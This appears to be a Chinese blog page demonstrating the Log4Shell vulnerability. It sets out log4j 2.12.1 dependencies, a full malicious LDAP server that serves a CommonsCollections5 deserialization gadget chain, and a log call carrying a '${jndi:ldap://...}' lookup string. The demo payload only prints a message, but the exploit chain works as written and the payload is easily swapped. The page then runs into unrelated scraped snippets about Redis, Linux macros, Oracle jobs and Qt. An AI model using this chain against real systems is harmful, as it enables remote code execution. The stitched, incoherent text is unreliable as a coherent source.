书接上回
依赖
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.12.1</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.12.1</version>
</dependency>
<dependency>
<groupId>org.apache.sirona</groupId>
<artifactId>sirona-javaagent</artifactId>
<version>0.1-incubating</version>
</dependency>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
<dependency>
<groupId>com.unboundid</groupId>
<artifactId>unboundid-ldapsdk</artifactId>
<version>4.0.0</version>
</dependency>
ldap service
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import com.unboundid.util.Base64;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.io.ByteArrayOutputStream;
import java.io.FileNotFoundException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import java.text.ParseException;
import java.util.HashMap;
import java.util.Map;
public class LDAPServer
{
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main(String[] agv)
{
int port = 1389;
String args[] = {"http://localhost:8082/#Exploit"};
if ((args.length < 1) || (args[0].indexOf('#') < 0))
{
System.err.println(LDAPServer.class.getSimpleName() + " <codebase_url#classname> [<port>]");
System.exit(-1);
}
else if (args.length > 1)
{
port = Integer.parseInt(args[1]);
}
try
{
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(new String[] { "dc=example,dc=com" });
config.setListenerConfigs(
new InMemoryListenerConfig[] {
new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"), port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory)SSLSocketFactory.getDefault()) }
);
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[0])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();
}
catch (Exception e)
{
e.printStackTrace();
}
}
private static class OperationInterceptor
extends InMemoryOperationInterceptor
{
private URL codebase;
public OperationInterceptor(URL cb)
{
this.codebase = cb;
}
public void processSearchResult(InMemoryInterceptedSearchResult result)
{
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try
{
sendResult(result, base, e);
}
catch (Exception e1)
{
e1.printStackTrace();
}
}
protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e)
throws LDAPException, MalformedURLException, FileNotFoundException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
String cbstring = this.codebase.toString();
e.addAttribute("javaClassName", "foo");
int refPos = cbstring.indexOf('#');
if (refPos > 0) {
cbstring = cbstring.substring(0, refPos);
}
// e.addAttribute("javaCodeBase", cbstring);
// e.addAttribute("objectClass", "javaNamingReference");
// e.addAttribute("javaFactory", this.codebase.getRef());
try {
e.addAttribute("javaSerializedData", CommonsCollections5() );
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
} catch (Exception ex) {
ex.printStackTrace();
}
}
private static byte[] CommonsCollections5() throws Exception{
//网上的人都喜欢这样写,但是这样打开的计算器无法确认是被哪个程序打开的,我进行了修改
// Transformer[] transformers=new Transformer[]{
// new ConstantTransformer(Runtime.class),
// new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[]{}}),
// new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[]{}}),
// new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
// };
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(SysMain.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getSysMain",new Class[]{}}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[]{}}),
new InvokerTransformer("say",new Class[]{String.class},new Object[]{"-----代码被入侵了--------"})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
Map map=new HashMap();
Map lazyMap= LazyMap.decorate(map,chainedTransformer);
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"test");
BadAttributeValueExpException badAttributeValueExpException=new BadAttributeValueExpException(null);
Field field=badAttributeValueExpException.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException,tiedMapEntry);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(badAttributeValueExpException);
objectOutputStream.close();
return byteArrayOutputStream.toByteArray();
}
}
}
public class SysMain {
private static SysMain currentRuntime = new SysMain();
public static SysMain getSysMain(){
return currentRuntime;
}
public void say(String say) throws IOException {
System.out.println(say);
}
}
logdemo
public static void main(String[] args) {
try {
String name = "${jndi:ldap://127.0.0.1:1389/Exploit}";
LOGGER.info("Hello test,{}", name);
} catch (Exception e) {
}
}
最简单的方法介绍工具。教程所包含工具:链接:https://pan.baidu.com/s/1fPh0rv88y64b33R47ecfxA提取码:sr2r系统:windows 10Layer子域名挖掘机4.2工具使用方法:在“域名”处输入查找的主域名,例:baidu.com,选择线程数,点击“开始”总结:工具比较好用,速度也比较快。..._layer子域名 4.2 挖掘机
转发:http://www.ushendu.info/jiaocheng/upqdzz.html_系统启动盘怎么制作
(programming language),是用来定义计算机程序的形式语言。它是一种被标准化的交流技巧,用来向计算机发出指令。一种计算机语言让程序员能够准确地定义计算机所需要使用的数据,并精确地定义在不同情况下所应当采取的行动。怎样选择学习哪一种编程语言,其答案取决于学习之后用它来做什么。许多人的选择标准仅仅是“学习一门语言最大的需求就是能找到一份高收入的工作”。但这个标准并非人人都适用,还有很多其它的方面要考虑。对于初学编程的人来说,使用Python是一个不错的选择;
前言在查看linux内核中,经常会看到container_of这个宏定义,第一眼看到这个宏定义中括号一层又一层,晕了。下面本文就来好好分析这个宏的具体实现。 内核版本:linux-2.6.34container_of宏详解container_of宏的源码定义在kernel.h文件中,具体如下:/** * container_of - cast a member of a...___builtin_offsetof定义
在了解 Redis 的 5 种对象类型的用法和特点的基础上,进一步了解 Redis 的内存模型,对 Redis 的使用有很大帮助。比如估算Redis内存使用量,内存优化占用,阻塞问题处理。一、Redis内存统计Redis提供内存统计命令,在客户端通过 redis-cli 连接服务器后,通过 info 命令可以查看内存使用情况:info memory。 其中info命令可以显示很多..._redis 内存分析
Livepatch — The Linux Kernel documentationhttps://www.kernel.org/doc/html/latest/livepatch/livepatch.htmlLivepatching_RToax-程序员宅基地Live patching - Gentoo Wikihttps://wiki.gentoo.org/wiki/Live_patchingKernel live patching is an 'update-and-coming' kernel fea_linux kernel livepatch
前几天,公司的job调度出现了问题,由于权限管的严,没有查看oracle 一些重要的数据字典,后面联系DBA,是由于数据库切换到备机时,参数设置不对,导致db job没有正常调度。今天刚好有时间,想总结下 oracle 的定时任务,写的不好的地方,请多多指教!--1.先检查 oracle job 两个重要参数 job_queue_processes 和 aq_tm_processes..._aq_tm_processes=1;
一、安装QTCreator二、如果如果没有特殊编译器要求,可以直接使用自带的MinGW的32位编译器,也可以安装Visual Studio配置使用它的编译器,可以编译64位的。编译器会自动检测的,建议先安装Visual Studio,QT安装时会自动识别到..._qt+visual studio写一个串口调试助手
MPEG-4视频数字水印技术的设计与实现
听老人家说:多看美女会长寿 地图之家总目录(建议先查看该内容)文章末尾处提供保证可运行完整代码包,运行如有问题,可“私信”博主。效果如下所示:该示例需要依赖包,需下载完整代码包才可运行下面献上完整代码,代码重要位置会做相应解释<!DOCTYPE html><html><head> <meta charset=utf-8/> <title>Historic Topographic Maps</title>_leaflet添加散点图
1、离散点曲率求解如下,网上一些都是x周等间隔的,经过自己的探索,找到了更实用的非等间隔求解离散数据的方法参考链接:http://blog.csdn.net/q1302182594/article/details/50545361%求解曲率 x0 = linspace(0.1,2,100);%x0,y0验证函数离散点,可以非等间隔 y0 = 1./x0; h1_离散点曲率 c++
今天跟大家讲讲云计算、大数据和人工智能。为什么讲这三个东西呢?因为这三个东西现在非常火,并且它们之间好像互相有关系:一般谈云计算的时候会提到大数据、谈人工智能的时候会提大...